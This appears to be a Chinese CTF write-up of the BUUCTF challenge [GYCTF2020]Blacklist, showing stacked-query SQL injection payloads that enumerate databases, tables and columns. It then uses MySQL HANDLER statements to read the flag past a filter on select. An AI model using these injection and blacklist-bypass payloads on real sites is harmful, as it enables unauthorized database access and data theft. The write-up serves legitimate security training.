buuctf[GYCTF2020]Blacklist

打开题目之后

6dd8e96dc1034f2eb3507a4d64b8e336.png

是有一个1,我们查询之后会发现出现以上页面,我们再试一下1'

81b2e16a3705401a8bd06cd63a03842b.png

报错,说明存在注入 ,我们再试一下0

 0d919d6e4b124ae6ac3d2bc8fdf69ce6.png

 0是没有任何回显,也就说0不会报错

下面我们继续输入1';show databases;#

d2e6dead1f6141d69b479b38596f1ce7.png

 我们继续查表1';show tables;#

a84399e50f464f6292b3764d143d4669.png

 看到特殊flaghere字符,我们就先查它

 1';show columns from FlagHere;#

 ff5cc19c9215446d927b823d9cae9c09.png

 看到flag,我们就继续查

1'; select flag from FlagHere;#

4958f87522114c8bbaefe4ce3389c404.png

 发现select被过滤了,我们试一下内联注释

1'; sel/**/ect flag from FlagHere;#

70368c1eb4f44e70bd24ae6442be942b.png

 和输入1的时候是一样的,看了wp之后发现其他的方法,运用HANDLER 语句

HANDLER 语句提供对表存储引擎接口的直接访问。它可用于 InnoDB 和 MyISAM 表。

HANDLER … OPEN 语句打开一个表,后续的 HANDLER … READ 语句可以访问它。此表对象不被其他会话共享,并且直到调用 HANDLER … CLOSE 或者会话终止才会关闭。

如果使用别名打开表,使用其他 HANDLER 语句对打开的表的进一步引用必须使用别名,而不是表名。如果不使用别名,但使用由数据库名称限定的表名打开表,则进一步的引用必须使用不限定的表名。例如,使用 mydb.mytable 打开的表,进一步引用必须使用 mytable。

然后我们执行语句,实现直接访问

0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

open是打开,read是开始读取的意思,close是结束的意思

然后我们就可以拿到我们的答案了。

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值